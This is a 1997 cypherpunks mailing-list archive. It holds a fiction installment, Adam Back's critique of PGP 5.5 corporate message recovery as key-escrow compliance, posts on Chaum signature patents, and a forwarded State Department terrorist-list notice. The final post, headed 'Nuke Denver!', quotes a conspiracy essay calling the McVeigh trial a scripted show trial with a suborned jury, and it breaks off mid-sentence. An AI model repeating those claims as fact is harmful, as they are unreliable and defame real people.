Date: Sat, 11 Oct 1997 10:38:09 +0800
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <wLBnt5IAwvwf6Tmw0t6uEg==@bureau42.ml.org>
MIME-Version: 1.0
Content-Type: text/plain



Play Misty for me.


        





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Monty Cantsin <mc@dev.null>
Date: Sat, 11 Oct 1997 16:42:45 +0800
To: cypherpunks@toad.com
Subject: InfoWar Epilogue 1 (Part III of 'The True Story of the InterNet')
Message-ID: <343F36F7.470@dev.null>
MIME-Version: 1.0
Content-Type: text/html

Title: The True Story of the Internet Part II









The True Story of the InterNet

Part III


InfoWar

Final Frontier of the Digital Revolution

Behind the ElectroMagnetic
Curtain


by TruthMonger <tm@dev.null>




Copyright 1997 Pearl Publishing



InfoWar Table of Contents

Epilogue 
Priscilla


Epilogue


The sun was rising over the mountain peaks, crimson streaks of
light streaming through the trees, striking the multi-colored
falling leaves.
As the tattered remnants of the Magic Circle slept soundly, after
days of flight to the security of their last remaining hideaway,
twin rays of light split the air in the cave above them, with
silver leaves twisting lazily down from the skylight at its peak,
turning to a blazing scarlet as they passed through the lower
streak of light, like blood dripping off a chain saw...

This was a moment stranded in time...not abandoned, but suspended
in the twilight which lay between the future and the past...between
the beginning of time and the end of time...or vice-versa.

A twinkling of time, wherein the sun was neither rising, nor setting...merely
waiting for a whisper from the Tao before deciding which way to
proceed in its journey toward eternity...



Priscilla

Perhaps I look at life a bit differently from some of the remaining
members of the Magic Circle, because I am a mother.
That is probably why, of all Bubba's many stories of the characters
in the legends surrounding the Magic Circle, I most enjoyed the
ones concerning the Author and Bubba d'Shauneaux swapping stories
about the Author's mother.
My favorite remains the one of how she worked at a small newspaper,
in a small town, at a time when it was unheard of for a woman
to write a sports column. She simply took on a masculine nome-de-plume,
put some obscure man's picture next to it on the column header,
and proceeded to do exactly what she wanted to do.

"To him who does what within him lies, God will not deny
his grace."
- Saint Augustine


This is something that mothers instinctively understand, and their
joy or heartache, if they have remained on a path with heart,
is not from their children's success or status in the eyes of
others, but in their child's own inner eye.
Likewise in the Magic Circle. It's members recognize one another
instantly, not from their outer appearances, but from an inner
quality of being that is acquired only by being true to one's
inherent soul-pattern and making choices that are in line with
their true destiny in life.

Bubba Rom Dos tells a story about the Author and d'Shauneaux I
discussing members of the CypherPunks list.
"Bianca was listening to them discuss whom on the list
they would trust to vote for them. When they discussed Kent Crispin,
the Author said, 'If he tried to cast my vote for me, I would
be forced to kill him.'
"d'Shauneaux asked the Author if he would trust Crispin to
watch his back for him in the real world, and the Author replied,
'In a heartbeat.'
"Bianca asked the Author, 'If he was your child, would you
be proud of him?' and he replied, without hesitation, 'Yes...but
I'd spank him, too.'"

Cowboy once told me that he thought I had perhaps given one of
the most astute definitions of the CypherPunks he had ever heard,
and that it was a description that only a mother could give.
I had told him that I thought they were "deranged saints
with an attitude." I suspect that he was so grandly impressed
with my description because it fit himself so well. As a child,
I mean, of course (nod-nod, wink-wink;)

The CypherPunks were an oddball assortment of scrappers and elitists,
mathematicians, philosophers, physicists, lunatics and poets...ad
infinitum...
The CypherPunk mailing list, however, had a spirit of life about
it, with even the most brutal of attacks usually having some basis
of logic underpinning them. Meanness and pettiness were not the
rule of the day and were seldom tolerated for long on the list
without any one of a wide number of list members stepping in to
give the originator an 'attitude adjustment.' 

Even in the midst of some of the CypherPunks' most ferocious of
their legendary pissing contests, some poor bastard would shoot
himself in the foot that he or she had put in their mouth, at
which point the thread would often pause, like the Civil War hiatus
wherein opposing sides would 'do lunch' and claim their dead,
and everyone would join in soundly ridiculing the offending party
before resuming their pissing party (or forgetting about it and
moving on to less meaningful activities).

After Vice-Admiral d'Shauneaux had taken over Pearl Harbor Computers,
Inc., and had written the Epilogue to 'The Xenix Chainsaw Massacre'
someone asked him what he liked most about the bizarre cryptographers
he was following who had formed the CypherPunks mailing list.

His cryptic reply was, "They're Troopers!"

I asked Bubba once whether the Admiral was referring to the rumors
that they were all double or triple agents of three-letter secret
agencies of one sort or another, or to one of the Author's favorite
musical groups, who sang, "We're here for a good time,
not a long time, so have a good time...the sun doesn't shine
every day."
Bubba's answer was, "Both."

If you are reading this, then I presume that the Trei Transponder
is no longer functioning, and has transferred the InformEnergy
from the Epilogue HydroCube which was meant only to be sent in
the event that we were forced to abandon our last remaining safe
house and beat feet to our mountain hideaway.
No matter what your view of what the tattered remnants of a mythical
group from the future have chosen to share with you, I hope and
pray that you will learn as much from your future as we have from
our past.

You may not yet fully realize the full import of the story that
you and we have woven together from what could have been, and
what may yet be, but it will not be long before you will.

Remember:
"Patience comes to those who wait..."


"The Xenix Chainsaw Massacre"

"WebWorld & the Mythical Circle of Eunuchs"

"InfoWar (Part III of 'The True Story of the InterNet')

Soviet Union Sickle of Eunuchs Secret WebSite









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Monty Cantsin <mc@dev.null>
Date: Sat, 11 Oct 1997 16:41:34 +0800
To: cypherpunks@toad.com
Subject: InfoWar Epilogue 1 / TEXT
Message-ID: <343F373B.7D6A@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



----------------------------------------------------------------------------
----------------------------------------------------------------------------

                       The True Story of the InterNet
                                  Part III

                                   InfoWar

                  Final Frontier of the Digital Revolution

                     Behind the ElectroMagnetic Curtain

                        by TruthMonger <tm@dev.null>

Copyright 1997 Pearl Publishing
----------------------------------------------------------------------------
----------------------------------------------------------------------------

                          InfoWar Table of Contents

   * Epilogue
   * Priscilla

----------------------------------------------------------------------------

                                  Epilogue
----------------------------------------------------------------------------

The sun was rising over the mountain peaks, crimson streaks of light
streaming through the trees, striking the multi-colored falling leaves.
As the tattered remnants of the Magic Circle slept soundly, after days of
flight to the security of their last remaining hideaway, twin rays of light
split the air in the cave above them, with silver leaves twisting lazily
down from the skylight at its peak, turning to a blazing scarlet as they
passed through the lower streak of light, like blood dripping off a chain
saw...

This was a moment stranded in time...not abandoned, but suspended in the
twilight which lay between the future and the past...between the beginning of
time and the end of time...or vice-versa.
A twinkling of time, wherein the sun was neither rising, nor setting...merely
waiting for a whisper from the Tao before deciding which way to proceed in
its journey toward eternity...
----------------------------------------------------------------------------
----------------------------------------------------------------------------

                                  Priscilla

Perhaps I look at life a bit differently from some of the remaining members
of the Magic Circle, because I am a mother.
That is probably why, of all Bubba's many stories of the characters in the
legends surrounding the Magic Circle, I most enjoyed the ones concerning the
Author and Bubba d'Shauneaux swapping stories about the Author's mother.
My favorite remains the one of how she worked at a small newspaper, in a
small town, at a time when it was unheard of for a woman to write a sports
column. She simply took on a masculine nome-de-plume, put some obscure man's
picture next to it on the column header, and proceeded to do exactly what
she wanted to do.

"To him who does what within him lies, God will not deny his grace."
- Saint Augustine

This is something that mothers instinctively understand, and their joy or
heartache, if they have remained on a path with heart, is not from their
children's success or status in the eyes of others, but in their child's own
inner eye.
Likewise in the Magic Circle. It's members recognize one another instantly,
not from their outer appearances, but from an inner quality of being that is
acquired only by being true to one's inherent soul-pattern and making
choices that are in line with their true destiny in life.

Bubba Rom Dos tells a story about the Author and d'Shauneaux I discussing
members of the CypherPunks list.
"Bianca was listening to them discuss whom on the list they would trust to
vote for them. When they discussed Kent Crispin, the Author said, 'If he
tried to cast my vote for me, I would be forced to kill him.'
"d'Shauneaux asked the Author if he would trust Crispin to watch his back
for him in the real world, and the Author replied, 'In a heartbeat.'
"Bianca asked the Author, 'If he was your child, would you be proud of him?'
and he replied, without hesitation, 'Yes...but I'd spank him, too.'"

Cowboy once told me that he thought I had perhaps given one of the most
astute definitions of the CypherPunks he had ever heard, and that it was a
description that only a mother could give.
I had told him that I thought they were "deranged saints with an attitude."
I suspect that he was so grandly impressed with my description because it
fit himself so well. As a child, I mean, of course (nod-nod, wink-wink;)

The CypherPunks were an oddball assortment of scrappers and elitists,
mathematicians, philosophers, physicists, lunatics and poets...ad infinitum...
The CypherPunk mailing list, however, had a spirit of life about it, with
even the most brutal of attacks usually having some basis of logic
underpinning them. Meanness and pettiness were not the rule of the day and
were seldom tolerated for long on the list without any one of a wide number
of list members stepping in to give the originator an 'attitude adjustment.'

Even in the midst of some of the CypherPunks' most ferocious of their
legendary pissing contests, some poor bastard would shoot himself in the
foot that he or she had put in their mouth, at which point the thread would
often pause, like the Civil War hiatus wherein opposing sides would 'do
lunch' and claim their dead, and everyone would join in soundly ridiculing
the offending party before resuming their pissing party (or forgetting about
it and moving on to less meaningful activities).

After Vice-Admiral d'Shauneaux had taken over Pearl Harbor Computers, Inc.,
and had written the Epilogue to 'The Xenix Chainsaw Massacre' someone asked
him what he liked most about the bizarre cryptographers he was following who
had formed the CypherPunks mailing list.
His cryptic reply was, "They're Troopers!"

I asked Bubba once whether the Admiral was referring to the rumors that they
were all double or triple agents of three-letter secret agencies of one sort
or another, or to one of the Author's favorite musical groups, who sang,
"We're here for a good time, not a long time, so have a good time...the sun
doesn't shine every day."
Bubba's answer was, "Both."

If you are reading this, then I presume that the Trei Transponder is no
longer functioning, and has transferred the InformEnergy from the Epilogue
HydroCube which was meant only to be sent in the event that we were forced
to abandon our last remaining safe house and beat feet to our mountain
hideaway.
No matter what your view of what the tattered remnants of a mythical group
from the future have chosen to share with you, I hope and pray that you will
learn as much from your future as we have from our past.

You may not yet fully realize the full import of the story that you and we
have woven together from what could have been, and what may yet be, but it
will not be long before you will.

Remember:
"Patience comes to those who wait..."
----------------------------------------------------------------------------

                        "The Xenix Chainsaw Massacre"

                 "WebWorld & the Mythical Circle of Eunuchs"

           "InfoWar (Part III of 'The True Story of the InterNet')

                Soviet Union Sickle of Eunuchs Secret WebSite
----------------------------------------------------------------------------






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sat, 11 Oct 1997 10:04:13 +0800
To: jon@pgp.com
Subject: Why corporate message recovery IS gak compliant (Re: Why Corporate Message Recovery isn't GAK)
In-Reply-To: <3.0.3.32.19971010151206.00a122b0@mail.pgp.com>
Message-ID: <199710110141.CAA06527@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Jon Callas <jon@pgp.com> writes:
> There are two things I will discuss in this missive:
> 
> (1) The assertion that Corporate Message Recovery is "just like Clipper"
> and why this is not true.

I won't even bother dealing indivdually with your arguments to this
one because you have just demonstrated again your ability to
simultaneously focus on hair splitting trivia, and ignore the whole
crux of the argument.

Suffice to say that it is not the details of the GAK (government
access to keys) system that the US government has tried to coerce
people to use that makes people not like it.  It's what it means: it
means that government will have access to keys.

We have had what some people term Clipper I through Clipper IV (or is
that V)?  The details and the names change each time.  And were you to
be their spokesperson you would be explaining in intricate detail how
"key recovery" is not "key escrow" and how therefor it is ok, and we
should all accept it.


The argument against pgp 5.5 is that it does 3 things wrong:

1. it is GAK compliant; it provides a ready to roll GAK system for the
US administration to try to leverage into place and switch on

2. it attempts to provide escrow features for transient communications

3. it doesn't differentiate between storage keys (which should be
escrowed to protect encrypted information stored on hard disks and
backup tapes) and transient communications keys which should if
anything be securely wiped after use

> Now then, the next topic is the fear that CMR will be used in some
> insidious government plot to slip in GAK everywhere.
>
> I worry about this, too. 

I'm glad that you acknowledge the very real problem.

> But I don't think it's feasible that CMR can be a stalking horse for
> GAK.

I notice that none of your reasons are technical.  I take this to be a
tacit acknowledgment that you have indeed built a GAK compliant system
with pgp5.5.

Let's have a look at these balances to see how comforting they are
given the lack of technical protection (being a cypherpunks I like
technical protections, they are so much more useful and concrete than
words of assurance):

> If the government wants to GAK-enable all PGP, they'll have to have
> a plan similar to this:
> 
> (1) Buy PGP, Inc. Since our worth is less than the black portion of the
> Federal Budget, this is not impossible. Would that it were otherwise. Heck,
> we're probably worth less than the black portion of New Zealand's budget.

Why would they have to buy the company?  They would just introduce
legislation to enforce _use_ of a feature you have already
thoughtfully included.  (A couple of people speculated that this early
GAK compliance may be the result of PGP Inc corporate investor
pressure (the share holder is god), or perhaps high level management
decision that this allows an easy route for PGP whatever the outcome
of the GAK wars: mandatory GAK PGP wins with it's early compliance, if
mandatory GAK loses, well PGP continues to cash in PRZ's reputation,
and PGP Inc's business client base).

My question to you is what is PGP Inc going to do when becomes illegal
to sell software which doesn't include mandatory GAK?  What're you all
going to do?  Break the law?  It'll be too late by then, unless you
have a corporate contingency plan of moving to Switzerland.  Do you?

> (2) Fire all the current development staff. This isn't very hard. All the
> new bosses have to do is round us up in a meeting and announce, "The next
> version of PGP will have a 40-bit export option." We'll say, "Not while
> *we're* working for the company!" They'll say, "Fine with us." Keep your
> eye on the secure resume server for clues of this event.

The company would survive with staff replacement.  Especially with
mandatory GAK as the regime.

> (3) Hire a new staff. This is one of the places that the plan might fall
> apart. We have such a hard time finding anyone who's qualified to work for
> us that we have reqs we can't seem to fill. I suppose, though, that they'll
> be able to find some people willing to relocate from Maryland.

No problem.  They'll just pay higher wages with the huge government
sell-out dividend reaped by being a early GAK adopter (via GAK
compliance).

> (4) Stop the OpenPGP process in the IETF. [...] If OpenPGP succeeds,
> then anyone can build an interoperable version of PGP, not just us,
> Highware, Systemics, etc.

Stopping the OpenPGP process doesn't sound necessary, if I read your
other post correctly PGP Inc would like to persuade the IETF to put
GAK compliance features in the OpenPGP standard as a MAY right now.
If you have your way, it'll be ratified by the time GAK comes.

You might like to consider this thought also:

Even if you personally believe that PGP Inc will stall at mandatory
GAK, and cease trading rather than do it, or even if you personally
will resign (I can't see that anyone's resignation helps us after the
fact):

	other OpenPGP implementors may not.  TIS or IBM or one of the
	other bona-fide GAKware government sell out types will take
	the opportunity to create an interoperable mandatory
	government access to key system.

This is a BAD thing.  You could prevent that.  But you're not, you're
helping it head to fruition.  You will have to live with your
conscience if GAK happens through this route.

> (5) Wait until bitrot makes all those existing copies of PGP stop
> working.  I could make a few catty remarks about how quickly
> existing software stops working on new releases of OSes, but you've
> probably thought of them yourself.

Mr linux hacker will figure it out.  Mr windows user won't.  There are
more Mr windows users.

> There are also a few details left, like shutting down all those
> international FTP sites, but hey, they're the government, they're
> omnipotent.

This game isn't about Mr crypto-anarchist, linux hacker, it's about
mass market software, about what individuals and companies are using.

The spooks know they can't stop "live free or die" types using
steganography even after mandatory GAK.

Won't make it any less painful for those who don't have the nerve or
technical expertise.


I would say that I am not trying to be vindictive, or anything here,
but you are _so_ easy to criticize, and I am trying to do what I can
to encourage PGP to salvage the situation.

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sat, 11 Oct 1997 10:39:09 +0800
To: jon@pgp.com
Subject: Re: PGP CAKware & IETF controlled Open-PGP standard
In-Reply-To: <3.0.3.32.19971010145005.00a32360@mail.pgp.com>
Message-ID: <199710110154.CAA06536@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Jon Callas <jon@pgp.com> writes:
> I am adamantly opposed to any of PGP's business features being MUST
> features of OpenPGP. If they were, then our freeware and personal
> privacy products wouldn't be conforming applications, and we have
> *no* intention of putting them in those products. Wouldn't that be
> an interesting situation?

I may be misunderstanding something here, but could you tell me how
PGP freeware and PGP personal privacy can simultaneously not have
recognition of GAK compliant keys, and emit messages telling the users
that this is a GAK key (on receipt of the flag you described), and
emit messages warning the user that the email will not be delivered
(on receipt of that other flag you described).

If it's defined as being compliant to ignore both of these flags, and
the message snooping key then users email will bounce without warning.

If it's defined to silently send to second crypto recipient, you have
fully interoperable GAK compliance built in to the core of PGP.  If
PGP Inc will remove the GAK compliance when GAK becomes mandatory, I'm
sure there are other companies who won't have a problem selling out to
GAK (eg IBM, or TIS).

If it's defined to warn but give the option to send to second crypto
recipient, well you've still got mandatory GAK compliance, but you've
got a pretty little warning that you've got mandatory GAK to rub your
nose in the fact for each message you send too.

> I am strongly opposed the business features being SHOULD features. If I
> were the only one arguing against them being SHOULD features, I'd make my
> opposition clear and then shut up.
> 
> I am in favor of them being MAY features, along with a big section on
> polite use. 

I'd be interested to see some discussion of how this will work out,
following up to the specific examples I give above.

No switching to genaralities this time; please answer: how is it going
to work?  I fear you can't have your CMR setup in pgp5.5 and not be
GAK compliant.  If you can think of a way that you can modify it to
break this dependency, I'd be interested to hear it.  If you can't
demonstrate such a change I would argue strongly for it not even being
a MAY.  I'd argue for GAK compliancy not to go into the IETF OpenPGP
standard.

I gave lots of examples of other ways to achieve the claimed
functionality of recovering stored data.  Achieving hard to circumvent
corporate email snooping functionality is harder to achieve without
CMR.  You can do some, but not quite as much.  But corporate snooping
wasn't on your stated list of user requirements.  And it's not very
savory anyway.

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William Allen Simpson" <wsimpson@greendragon.com>
Date: Sat, 11 Oct 1997 12:03:36 +0800
To: ietf-open-pgp@imc.org
Subject: Re: PGP CAKware & IETF controlled Open-PGP standard
Message-ID: <6662.wsimpson@greendragon.com>
MIME-Version: 1.0
Content-Type: text/plain



I'm getting a bit tired of the rants on this topic to the Open-PGP
list.  Yes, there are problems, but the whole purpose of IETF review
is to find solutions to problems.

The PGP staff have some ideas on how business message recovery can be
done.  It seems there is a business need.  It seems that they have
thought about it, and made some effort toward implementation.

What annoys me is that the PGP formats are now supposed to be "open",
yet no proposed formats for this new "feature" have been documented for
our review, and other folks' suggestions for a better K-of-N mechanism
have been ignored.

We don't even have the current formats.  When will the PGP 5.0
internet-draft be ready for review?

There is already a PGP 5.0 separation between signing and
communication keys; why not have separate message storage keys?

Why not have a K-of-N system for BMR?

Why have a communication enforcement filter, when the only usage is
supposed to be for recovering archival storage?

Let us decide _what_ the goals are, _how_ to solve the problems, and
_then_ decide the protocol details and formats to match the solution.

WSimpson@UMich.edu
    Key fingerprint =  17 40 5E 67 15 6F 31 26  DD 0D B9 9B 6A 15 2C 32





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sat, 11 Oct 1997 10:56:57 +0800
To: jon@pgp.com
Subject: Re: Attitude and Assumptions
In-Reply-To: <3.0.3.32.19971010180024.00ad8ce0@mail.pgp.com>
Message-ID: <199710110252.DAA07516@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Jon Callas <jon@pgp.com> writes:
> In the course of all the discussion here, I have seen a number of
> implicit attitudes and assumptions that irritate me. This is a short
> rant to air my irritation.

[bucko big snip]

Well, it was a nice rant, Jon.  Most of it was even crypto-correct :-)

But the problem is you didn't address the point causing your perceived
hostilities.  Not once.

The point is Jon "GAK compliance meister" Callas, you're building in
GAK compliance.

Now we know that it is possible for you to have GAK compliance without
using it for that purpose, or at least to promise that at this stage,
promise sincerely even, it doesn't make any difference.  When
mandatory GAK is law, all you'll have done is to smooth the way for
it.  Your promises, and crypto-anarchic 'tudes won't amount to a stack
of cards.

Your wimpy sounding safegaurds and reasons why PGP Inc would have to
be bought out, all staff sacked etc. don't sound very reassuring.
Saying "over my dead body", doesn't really help us if we are realistic
enough to figure that you'll be dead, and we'll have GAK.  Personally
I'd sooner we didn't have GAK (and that y'all lived too).

Oh yeah, and the reason we're all "picking on you" is nothing,
absolutely nothing what-so-ever, to do with the fact that PGP is an
"Inc" now.

The reason that it appears to you that we're picking on you is that
we're trying to ram a few simple points through your skulls which we
consider may be significant points in the political wars potentially
leading up to mandatory GAK.

For example, major point #1: that by attempting to enforce GAK
compliance on the IETF OpenPGP standard you will make it easier, much
easier, major point this, listening?, much easier to introduce GAK,
because they can then do so interoperably with the OpenPGP standard,
which you're hoping will be #1 internet email application used by
netscape like 80% market dominance figures.

PGP Inc has easily within it's powers the ability to remove this easy
migration path for manditory GAK.


Point #2, is more of a technical point really: you seem to be mixing
key functionality to the detriment of security to provide a fully
functional corporate email snooping service.  Here's a meme to pass
around the office: 

	separate storage and encryption keys are just as important as
	separate encryption keys and signature keys.

This is also fairly important, as keys have different recovery
requirements, and different life time requirements.  Re-using
communication encryption keys for storage keys causes all sorts of
problems.  One of which is getting shouted at for being GAK compliant.
Oh yes, and email in your received folder is NOT a communication
anymore, it is now _stored_, and should therefore, if it is encrypted
be encrypted with said storage key.

Now, if y'all over there are such "live free or die" crypto-anarchist
martyr's that you've given up your cisco options, and taken a pay cut,
and resisted temptation for a 20% pay rise (and you very well may be
die hard crypto-anarchists for all I know, I've only met a few of
you), surely argument #1 means something to you:

   "attempting to enforce GAK compliance on the IETF OpenPGP
    standard you will make it MUCH easier for USG to introduce GAK"

So what's your problem, if skipping on a 20% pay rise isn't a problem,
why do you have to implement GAK compliance to provide small amounts
of additional functionality for corporate snooping, which isn't even
on your stated user requirement list.  As I demonstrated you could if
you figure this is necessary to the future of free crypto (though I
can't see that it is), implement most of the snooping functionality
without GAK compliance.  It's not as if people can't hack around the
whole damn caboodle anyway, as was stated as a plus point in earlier
PGP person post.  So why GAK compliance for that last couple of % of
enforceability on snooping.  Think of the lower enforceability as a
boon, you've got a technical reason to use to explain to little
brother why 100% snooping doesn't work that well without 24 hr video
cams surveillance and NSA style body cavity searches at the door.

I'd suggest you print the above document out and have a discussion of
it.  Get PRZ there too.  Let us all know the decision so we know
whether to start investing in stego applications in preparation for
fast-track inadvertently (being generous here, since your whinge) PGP
Inc assisted GAK.

Cheers,

And hang-loose, don't get up-tight, just say no to GAK compliance.

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <nobody@REPLAY.COM>
Date: Sat, 11 Oct 1997 11:05:44 +0800
To: cypherpunks@cyberpass.net
Subject: Re: do NOT escrow communications keys
Message-ID: <199710110255.EAA03590@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



> > There may be patents on these technologies, too.
>
> Don't think so.  It's simple enough technology.

Take a look at 5493614 : Private signature and proof systems

INVENTORS: Chaum; David, Sherman Oaks, CA 91403
ISSUED: Feb. 20, 1996
FILED: May 3 , 1994

ABSTRACT:   Cryptographic methods and apparatus for forming (102) and
verifying (103) private signatures and proofs (203,204, 207, and 209)
are disclosed. Such a signature convinces the intended recipient that it
is a valid undeniable or designated-confirmer signature. And such a proof
convinces the intended recipient, just as any cryptographic proof. Even
though the signatures and proofs are convincing to the intended recipient,
they are not convincing to others who may obtain them. Unlike previously
known techniques for convincing without transferring the ability to
convince others, those disclosed here do not require interaction--a
signature or proof can simply be sent as a single message. Because
the intended recipient can forge the signatures and proofs, they are
not convincing to others; but since only the intended recipient can
forge them, they are convincing to the intended recipient. Exemplary
embodiments use a cryptographic challenge value that is said to pivot on
a trap-door function, in that the value can be manipulated by those with
the corresponding trap-door information, and is believed impractical to
manipulate without it.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <nobody@REPLAY.COM>
Date: Sat, 11 Oct 1997 13:20:08 +0800
To: cypherpunks@cyberpass.net
Subject: non-transferable & designated verifier signatures
Message-ID: <199710110505.HAA15711@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Adam Back:

> The application you describe could be catered for very well by a third
> type of signature called a designated verifier signature.

AKA patent number 5373558 : Desinated-confirmer signature systems 
INVENTORS: Chaum; David, Sherman Oaks, CA 91403

> Non-transferable signatures on the other hand work by being made
> forgeable by the recipient.  That way it is essentially the recipients
> word against the senders.  However there is some transferable proof
> there: there is proof that _one_ of you wrote it.

Not clear how much privacy this buys you.  If one party sues the other,
it's some protection.  But if both parties are hauled into court and
accused of some crime, it's going to be clear enough which party sent
the mail.  Yes, technically it could have been forged by the other party,
but people have been convicted on evidence a lot shakier than this.

> Also you could clearly cope with the arbitrator situation without
> resorting to DV signatures; non-transferable signatures would be
> enough, if you sent a signed message to Alice, and a detached
> signature to your abitrator.  If you want to later use the abitrator,
> you send the body of the message to the arbitrator.  He calculates the
> hash of the message, and is then able to use the detatched
> non-transferable signature to verify your claim.  But he can't
> demonstrate this to other people.  One disadvantage is that the
> arbitrator could team up with you and make that two peoples words
> against one.  You might see that as an advantage, but Alice won't.  An
> arbitrator which indulged in this kind of behaviour may lose
> reputation.

Sounds complicated.  It will be years before the legal system is able
to handle these subtleties.  Ordinary digital signatures are challenging
enough.

> One way to do this for some kinds of situations is for each party to
> setup a atomic transfer where they give each other the ability to
> cause a penalty to be extracted from both of them.

Torn ecash?

> Say they are engaging in some business worth $100.  Alice is
> performing some programming task for Bob.

> If Bob is satisfied with the software he gives Alice the $100.  If he
> is not he incurs a $50 loss himself which goes to charity, and Alice
> does also.  In doing this he doesn't get the software.  But Alice is
> penalised, and it is better than losing $100.

With torn ecash, Bob withdraws $100 from his account, but in such a way
that Alice has some crucial information needed to unblind it.  If they
can't come to a meeting of the minds, Bob is out the $100 and Alice is
out the time she spent on the project.  This removes much of the incentive
each has to cheat the other, and gives them an incentive to cooperate.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sat, 11 Oct 1997 21:49:41 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Foreign Terrorist List (fwd)
Message-ID: <199710111358.IAA26517@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:
>From owner-travel-advisories@stolaf.edu Sat Oct 11 04:19:58 1997
Date: Thu, 9 Oct 1997 11:00:03 -0400
From: owner-travel-advisories <owner-travel-advisories@stolaf.edu>
Subject: Foreign Terrorist List
Sender: Wally Doerge <76702.1202@compuserve.com>
To: travel-advisories@stolaf.edu
Message-ID: <199710091103_MC2-235E-2001@compuserve.com>
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Precedence: bulk

STATE DEPARTMENT TRAVEL INFORMATION - Foreign Terrorist List
============================================================
Publication of List of Foreign Terrorist Organizations - Public 
Announcement
 October 8, 1997

 U.S. DEPARTMENT OF STATE
 Office of the Spokesman

The Secretary of State has designated as foreign terrorist 
organizations thirty organizations that engage in terrorist activity 
that threatens the security of United States nationals or the 
national security of the United States, pursuant to the 
Anti-Terrorism and Effective Death Penalty Act of 1996 (P.L. 
104-132).  Designation as a foreign terrorist organization carries 
legal consequences for persons who aid these organizations, for the 
organizations funds, and for representatives and members who seek 
to enter the United States.  The list of foreign terrorist 
organizations was published in the Federal Register on October 8, 
1997.

The Department of State has no specific information regarding 
threats to U.S. citizens at this time as a result of the designation 
of foreign terrorist organizations, but believes some of the groups 
may consider changing their attitude toward targeting U.S. interests 
in reaction to their designation.  American citizens traveling 
abroad should always seek to minimize their risks by being aware of 
their surroundings and exercising caution as to their activities.  
U.S. citizens planning to travel abroad should consult the 
Department of State's country-specific Travel Warnings, Consular 
Information Sheets, and regional travel brochures.

This Public Announcement expires on January 8, 1998.

----- ----- ----- ----- ----- ----- ----- ----- ----- ----- ----- ----- -----
The "travel-advisories@stolaf.edu" mailing list is the official Internet and
BITNET distribution point for the U.S. State Department Travel Warnings and
Consular Information Sheets.  To unsubscribe, send a message containing the
word "unsubscribe" to:	travel-advisories-request@stolaf.edu

Archives of past "travel-advisories" postings are available at the URL:
"http://www.stolaf.edu/network/travel-advisories.html" or via Gopher:
gopher.stolaf.edu, Internet Resources/US-State-Department-Travel-Advisories





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Tim C. McVeigh" <tcm@dev.null>
Date: Sun, 12 Oct 1997 00:12:32 +0800
To: cypherpunks@toad.com
Subject: Nuke Denver!
Message-ID: <343F9F3A.6FAF@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



http://www.hoffman-info.com/essay7.html

The Show Trial of the Manchurian Candidate Has Concluded According to
the Script

The masterfully choreographed show trial of Manchurian candidate Tim
McVeigh has concluded
according to the script, thanks to a government-mouthpiece "news media,"
a suborned jury, a
crooked Federal judge and an incompetent (or perhaps worse) "defense"
team. Part of the script
has been McVeigh's tendency toward self-incrimination:

Immediately after the bombing of the Federal building, as TeamInfinity
notes, McVeigh did
"everything but send up a flare to draw attention to himself... speeding
out of the state of Oklahoma
at almost 100 mph in a yellow car with no license plate, virtually
guaranteeing that he would be
stopped...Timothy McVeigh is a highly trained combat NCO who won a
Bronze Star for courage
under fire in the Gulf. Having been stopped by a state trooper, being
armed with a pistol, and
knowing that he now faced either execution or imprisonment for the rest
of his natural life, why did
McVeigh make no move at all to defend himself or escape, instead
surrendering like a little lamb?"

>From his arrest onward, Mr. McVeigh has filled the same role as Sirhan
Sirhan, James Earl Ray,
Arthur Bremer (George Wallace's assailant), Charles Manson and David
Berkowitz: he has failed to
contradict, in the course of the investigation preceding his conviction,
the tale the government wove
around him. If McVeigh continues to fulfill the pattern, after the klieg
lights have been turned off and
the national spotlight is dimmed, when he becomes a convict on death
row, rather than a defendant
in the trial of the year, he will begin to chirp certain truths that the
script decreed would not be
emitted during the "trial." The credibility of those revelations will be
